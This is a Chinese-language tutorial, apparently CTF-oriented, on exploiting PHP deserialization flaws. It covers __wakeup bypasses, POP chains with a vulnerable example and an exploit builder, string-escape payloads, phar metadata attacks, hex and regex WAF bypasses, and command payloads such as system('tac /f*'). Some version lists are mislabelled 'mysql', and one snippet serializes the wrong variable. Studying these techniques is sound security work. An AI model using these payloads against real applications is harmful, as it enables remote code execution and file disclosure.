简介
简单来说,序列化是值将数据结构或是对象转换为一种格式(每种语言不太相同),目的是为了更方便储存或是传输
反序列化就是序列化的逆过程,将序列化后的数据转回原始的数据结构或对象
暂时分为php和java两个方向来讲述反序列化漏洞(也许有一些Python),这篇主要讲述PHP的反序列化漏洞以及一些技巧
php反序列化漏洞
原理
序列化与反序列化本身并不存在问题,但是如果后端编写时导致用户能控制反序列化后的数据,用户就可以通过构造恶意序列化的数据来产生非预期对象
php序列化函数serialize()
,php反序列化函数unserialize()
但是在php中,如果用户要利用反序列化漏洞,必须满足后端不正确的使用了魔术方法,在调用魔术方法时,产生了危害
流程:我们可以序列化一个可以控制属性值的对象,反序列化之后这个字符串会被还原成对象,但是序列化能表示的只有属性,不包含方法,所以想要利用这个漏洞的话,我们就需要用各种手段,将需要的属性都赋上合适的值(有时候甚至是一个对象pop链,)
简单来说就是,我们先利用这个类创建一个可控对象,再将这个对象序列化后传入后台,如果后台这个地方会反序列化,那就成功了!
魔术方法简单来说,就是在类中,满足了一定条件后,会自动触发的函数,之前写的比较详细一点
序列化含义
在 PHP 序列化后的字符串中,与序列化有关的字母包括:
1 | a:表示数组。 |
序列化一个对象
PHP 会保存对象的所有变量,但不会保存对象的方法,只会保存类的名字。序列化后的字符串以O
开头,后面跟着类名的长度、类名、对象大小和对象中每个属性的名称和值。
private 的属性序列化后 属性名变成<0x00>对象<0x00>属性名
public 属性名没有任何变化
protected 的属性序列化后 属性名变成<0x00>*<0x00>属性名
特殊十六进制<0x00>
表示一个空字节,如果要在url中使用要url编码后的%00
下面是个简单的例子1
2
3
4
5
6
7
8
9
10
11
class MyClass {
public $var1 = 'value 1';
protected $var2 = 'value 2';
private $var3 = 'value 3';
}
$a = new MyClass;
$s = serialize($a);
echo $s;输出结果
1
O:7:"MyClass":3:{s:4:"var1";s:7:"value 1";s:5:"<0x00>*<0x00>var2";s:7:"value 2";s:11:"<0x00>MyClass<0x00>var3";s:7:"value 3";}
序列化一个数组
当序列化一个数组时,会以键和键值作为对应的字符串储存
简单的例子1
2
3$_SESSION["img"] = 'not';
$_SESSION["flag"] = 'hacker!';
echo serialize($_SESSION);输出结果
1
a:2:{s:3:"img";s:3:"not";s:4:"flag";s:7:"hacker!";}
一些技巧
构造序列化后的字符串
在存在反序列化漏洞时,我们需要传入序列化后的字符串,手动构造对一个类进行序列化时,有时容易出错
可以直接在源码后加入
1 | $a = new Class; |
创建一个对象后序列化,就可以简单的构造序列化后的字符串,需要注意的是,私有属性和受保护属性的属性名是有不可见字符0x00
的,无法直接复制,可以用url编码%00
代替
__wakeup()魔术方法绕过
CVE漏洞
1
2
3
4
5
6mysql版本条件
7.0.0 - 7.0.14
7.1.0
5.4.14 - 5.4.45
5.5.0 - 5.5.38
5.6.0 - 5.6.29在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行
原本:O:4:”Name”:2:{s:14:”Nameusername”;s:5:”admin”;s:14:”Namepassword”;i:100;} 数字2代表这个对象有两个属性
绕过:O:4:”Name”:3:{s:14:”Nameusername”;s:5:”admin”;s:14:”Namepassword”;i:100;} 数字3代表这个对象有三个属性,实际只有两个,绕过__wakeup()
使用C代替O绕过
1
2
3
4
5
6
7
8
9
10
11mysql版本条件
5.3.0 - 5.3.29
5.4.0 - 5.4.45
5.5.0 - 5.5.38
5.6.0 - 5.6.40
7.0.0 - 7.0.33
7.1.0 - 7.1.33
7.2.0 - 7.2.34
7.3.0 - 7.3.28
7.4.0 - 7.4.16
8.0.0 - 8.0.3我们传入一个类似于
C:7:"MyClass":0:{}
,没有任何属性和值,这样就可以绕过__wakeup
但是使用这个方法的话,反序列化出的对象只能执行construct
或是__destruct
,且不能给属性赋值
O表示一个普通对象,而C表示一个自定义序列化的对象。如果一个类实现了Serializable接口并在类中定义了serialize()
和unserialize()
方法,那么这时serialize()
这个类的对象时,会生成一个以 C 开头的序列化字符串利用反序列化字符串报错fast-destruct
1
2
3
4
5
6
7
8
9
10
11mysql版本条件
5.3.0 - 5.3.29
5.4.0 - 5.4.45
5.5.0 - 5.5.38
5.6.0 - 5.6.40
7.0.0 - 7.0.33
7.1.0 - 7.1.33
7.2.0 - 7.2.34
7.3.0 - 7.3.28
7.4.0 - 7.4.16
8.0.0 - 8.0.3在序列化字符串最后面加上一个
N;
,从而触发错误并优先执行__destruct
,从而实现对__wakeup
的绕过。
这种方法的原理是,在反序列化过程中,如果遇到错误,PHP会抛出一个异常。如果在类中定义了__destruct方法,那么在抛出异常之前,PHP会先调用这个方法来清理资源。因此,如果在序列化字符串最后面加上一个N;
,就会触发一个错误,并且在抛出异常之前,PHP会先调用__destruct
方法。
这种方法适用于类中定义了__destruct方法,并且在这个方法中可以执行一些有用的操作的情况。但是它依赖于特定的类结构和代码逻辑,因此并不是所有情况下都能成功。
例如 O:4:”Test”:1:{s:4:”data”;s:11:”Hello World”;N;}
引用绕过
- 切入点
当代码中存在类似$this->a===$this->b
的比较时可以用&
,使$a永远与$b相等
简单来说,这个方式就是将一个属性的值赋值为另一个属性的地址
例如1
2
3$Test=new Test();
$Test->a=&Test->b; //将a的值赋值为b的地址,可以实现一些绕过
print_r(@serialize($Test));
pop链
- 什么是pop链
POP链(Property Oriented Programming Chain)是一种利用PHP魔术方法进行多次跳转,最终到达关键函数,获取敏感数据。它通常与反序列化漏洞一起出现,可以理解为是反序列化漏洞利用的一种拓展,泛用性更强,涉及到的魔法方法也更多 - 怎么切入
如果一个题目里出现了很多的类和魔术方法,并且出现了反序列化函数,这题很有可能是考察pop的思考,
如果遇到这种情况,首先应该确定出发点(一般来说是可以自动触发的魔术方法)和终点(危险函数所在的魔术方法),在用逆推和正推相结合写出一条完整的链子 - 链子怎么写
如果是逆推的话,先看这个方法要怎么到达,再看下面有没有符合条件的情况,比如危险函数在魔术方法__invoke
中,试着去寻找有没有在方法中把属性当做函数使用的,如果有,那么把属性对象化,那不就是把对象当做函数使用,这时就会跳转到__invoke
中了 - 例子链子写法不一定相同,写出两种比较常见的写法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}一样的意思,感觉哪个舒服写哪个1
2
3
4
5
6
7
8
9
10$pop=new show();
//实例化一个show,会触发__construct(起点)
$pop->source=new show();
//把第一个show的source属性实例化成show对象,这时候属性是一个对象,如果把这个show对象当做字符串,会触发show类中的__toString
$pop->source->str=new Test();
//把第二个show中的str属性实例化成Test对象,这时候toSting中调用了str->source,因为在Test对象中调用了不存在的属性,会触发Test类中的__get
$pop->source->str->p=new Modifier();
//把第三个Test类中的p属性实例化成Modifier对象,这时候__get中把属性p当做函数使用,属性p是Modifier对象,这时候会触发Modifier类中的__invoke(终点危险函数include)
echo urlencode(serialize($pop)); //url编码防止有不可见字符<0x00>
//记得将Modifier类中$var属性赋值,因为序列化时会保留成员属性的值,所有直接写在类中就行1
2
3
4
5
6
7
8
9$one = new show();
$oneone=new show();
$two = new Test();
$three = new Modifier();
$one->source=$oneone;
$oneone->str=$two;
$two->p=$three;
echo urlencode(serialize($pop));
反序列化字符逃逸
什么情况下会产生反序列化逃逸
如果开发人员先将用户输入的数据序列化后,再进行过滤或替换,最后再进行反序列化,这样的处理流程可能产生反序列化逃逸serialize
->filter
->unserialize
原理
关键字符在序列化后被过滤替换掉了,但序列化时,会记录字符长度,这个长度是不会变的,在读取字符时,仍会按照原来的长度进行读取.如果过滤后变短了,则会向后读取字符,如果替换后变长了,则会提前终止读取
同时反序列化还有一个问题,如果遇到了}
就会认为已经结束,后面的字符就会被丢弃
可以结合两个特点,控制读取的内容从而达到控制键值对,破坏掉原来的结构,从而实现反序列化逃逸payload构造
$_SESSION['flagphp']=';s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}'
如果将这段代码序列化后得到a:1:{s:7:"flagphp";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";}
原本效果1
2
3
4Array
(
[flagphp] =>;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
)如果过滤了flag和php得到
a:1:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";}
最后效果1
2
3
4
5Array
(
[";s:48:] =>1
[img] => ZDBnM19mMWFnLnBocA==
)
phar反序列化漏洞
什么是phar
Phar文件是 PHP 中的一种打包压缩文件,类似于Java中的JAR包。它可以将多个PHP文件打包成一个文件,方便应用程序的打包和组件化。
Phar 文件由四个部分组成:- Stub,它可以被解释为一个标记,格式为
xxx<?php xxx; __HALT_COMPILER ();?>
。前面的内容不受限制,但必须以__HALT_COMPILER ();?>
结尾,否则phar扩展将无法识别该文件为phar文件; - 文件清单Manifest,描述了文件的内容,这里面有个关键概念元数据,元数据(meta-data)manifest中的用户自定义数据,它可以包含任意类型的序列化数据,用于存储有关Phar文件的额外信息。当使用
phar://
伪协议读取phar文件时,元数据会被反序列化,这就是phar反序列化漏洞的成因。 - 文件内容file contents,包含了被压缩的文件内容
- 签名signature(可选),用于验证 Phar 文件的完整性1。
- Stub,它可以被解释为一个标记,格式为
漏洞利用条件
什么样的情况下我们会考虑这个漏洞- 代码本身就存在反序列化漏洞,但是没有
unserialize()
反序列化函数,可以用这种方式进行反序列化创建对象(实际上这个文件的利用就是为了代替反序列化函数) - 使用了文件系统函数(如
file_exists()
、is_dir()
,file_get_contents()
,file()
,unlink
等)且参数可控(参数即为phar文件),且没有对phar://
伪协议进行过滤(这些函数在处理phar文件时,都会触发反序列化) - 网站有文件上传的功能,并且只是识别后缀,我们可以上传phar文件,将后缀改成图片.因为使用 PHP 伪协议(例如 phar://)访问一个文件时,PHP 只检查文件的内容而不是文件扩展名来确定它是否为一个有效的 phar 文件。
- 代码本身就存在反序列化漏洞,但是没有
流程
- 先构造pop链,或是其他序列化的字符串,将内容写入phar文件
- 上传phar文件,并获得文件地址
- 使用伪协议
phar://+文件地址
访问,这时候,就会将内容进行反序列化了
代码以及代码解释
运行下面这段代码,将会生成一个phar文件,这个生成的文件就是我们要上传的文件1
2
3
4
5
6
7$phar = new Phar("test.phar"); //文件名,后缀名必须为phar
$phar->startBuffering(); //开始缓冲,这意味着对 Phar 文件的修改不会立即写入磁盘
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($pop); //传入pop链或者序列化字符串,会将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();下面是对这段代码每一行的详细解释:
1
2
3
4
5
6
7
8
9
10
11
12$phar = new Phar("test.phar");
//使用 PHP 的 Phar 类,创建一个 Phar 对象,用于操作名为 test.phar 的 Phar 文件。
$phar->startBuffering();
//开始缓冲,这意味着对 Phar 文件的修改不会立即写入磁盘
$phar->setStub("<?php __HALT_COMPILER(); ?>");
//设置 Phar 文件的 stub。stub 是 Phar 文件中的一段代码,它在 Phar 文件被包含或执行时首先运行。在这个例子中,stub 只包含一个 __HALT_COMPILER() 函数调用,它告诉 PHP 解释器停止编译。
$phar->setMetadata($pop);
//将 $pop 设置 Phar 文件的元数据。元数据是一个任意的序列化变量,它存储在 Phar 文件的 manifest 中。在这个例子中,元数据被设置为变量 $pop 的值。
$phar->addFromString("test.txt", "test");
//向 Phar 文件中添加一个文件。这个方法接受两个参数:文件名和文件内容。在这个例子中,我们向 Phar 文件中添加了一个名为 test.txt 的文件,它的内容为字符串 "test"。
$phar->stopBuffering();
//停止缓冲并将修改写入磁盘。这一行代码会将前面对 Phar 文件所做的修改一次性写入磁盘。总之,这段代码创建了一个名为 test.phar 的 Phar 文件,并向其中添加了一个文件和一些元数据
注意点
要想使用上面的代码创建phar文件,必须要在php.ini中进行设置,否则会报错
我用的是PHPstorm和小皮的环境,生成的文件会在phpstudy_pro\WWW
目录下
16进制绕过
- 切入点
当代码中存在关键词检测时,将表示字符类型的小写s
改为大写S
来绕过检测,原理是,序列化字符串中表示字符类型的S为大写时,字符串遇到\+16进制数
就会解析
例如输出结果1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class test{
public $username;
public function __destruct(){
echo 'you are'.$this->username."\n";
if($this->username == 'admin') {
echo 'success';
}
}
}
function check($data){
if(preg_match('/username/', $data)){
echo("nonono!!!\n");
}
else{
return $data;
}
}
// 未作处理前,会被waf拦截
$a = 'O:4:"test":1:{s:8:"username";s:5:"admin";}';
$a = check($a);
unserialize($a);
//将小s改为大S; 做处理后 \75是u的16进制
$a = 'O:4:"test":1:{S:8:"\\75sername";s:5:"admin";}';
$a = check($a);
unserialize($a);1
2
3nonono!!! //第一个被waf拦截
you are admin //成功绕过
success
原生类(内置类)的利用
什么是原生类
原生类就是php中内置的类,简单可以理解为,PHP语言帮你定义好了这个类的全部,我们不需要定义写出也能直接实例化
原生类和普通类本质上没什么不同,都是由属性和方法(魔术方法)组成,比如之前的Phar也是php的一种原生类
原生类是为了帮助开发人员更快的实现一些功能,但是有时候某些原生类处理不当也会带来一些安全问题,这里先介绍几个ctf中比较常见的原生类Exception类与Error类
1
2
3适用版本
Error:用于PHP7、8。
Exceotion:用于PHP5、7、8这两个原生类没有很大区别,Error类和Exception类都继承自Throwable接口。两个类都可以用来处理错误和异常情况,但它们的用途不同。Error类表示严重的错误,通常无法恢复,而Exception类表示可以恢复的异常.
我们主要利用这两个类中的__tostring
魔术方法来构造一些内容去绕过一些比较,或是构造XSS
类中的哈希绕过:if(($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)))
由之前的学习可以知道echo一个对象时,由于对象被当成了字符串,会触发__tostring
魔术方法,因为函数md5()
和sha1()
期望接受到的是字符串,所以也会触发__tostring
因为我们创建的对象不同,但是__tostring
返回的内容相同,所以我们可以利用这个来绕过上面的哈希比较
例如1
2
3
4
5
6$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
$a=new Exception($str,1);$b=new Exception($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));需要注意的是,两个错误类实例化必须要在同一行,因为tostring返回的代码包括了行数
解释一下这段代码,$str
的内容作为异常信息,异常信息会被tostring返回,所以我们可以控制其中的内容,数字1和2是错误代码,来表示异常的类型或原因,不会被tostring返回?><?=include~".urldecode("%D0%99%93%9E%98")."?>
这段代码是为了配合命令执行漏洞使用,?>
是为了实现前面错误信息的闭合,后面可以写入完整的我们想要实现的代码
正则绕过
如果后端对输入的数据先进行了一些正则匹配的过滤,我们也可以试着采取一些绕过手法
利用+绕过O
preg_match('/^O:\d+/i',$data)
这个正则表达式'/^O:\d+/i'
匹配以大写字母O开头,后面紧跟一个或多个数字的字符串
如果后端利用这个正则来确保用户输入的不是一个序列化的对象,我们可以使用加号+
绕过
类似于 O:**+*4:”Test”:1:{s:4:”name”;s:18:”system(‘tac /f‘);”;}
需要注意的是在url里传参时+
要编码为%2B
,要不然+
会被识别成空格利用数组绕过O
还是适用于前面那种情况,不过把对象放在一个数组中来避免来以O开头1
2
3
4
5
6
7
8
9
class Test{
public $name="system('tac /f*');";
}
$a = new Test();
echo serialize(array($a));
//结果 a:1:{i:0;O:4:"Test":1:{s:4:"name";s:18:"system('tac /f*');";}}匹配}
preg_match('/\}$/',$data)
匹配以大括号}
结尾的字符串
绕过原理 反序列化字符串末尾所有的}
是全部可以删掉的,甚至可以末尾填充字符,反序列化时没有影响
不可见字符绕过(类属性不敏感)
对此相当无语,如果对输入进行了过滤,过滤了不可见字符,也就意味着<0x00>
也是被过滤的,如果类中有受保护或者私有属性,序列化不可避免的会有<0x00>
这时候试着将属性的类型改成public
再进行实例化
因为PHP7.1+对类的属性类型不敏感,你传进去public
代替其他两种也没事,这个没有不可见字符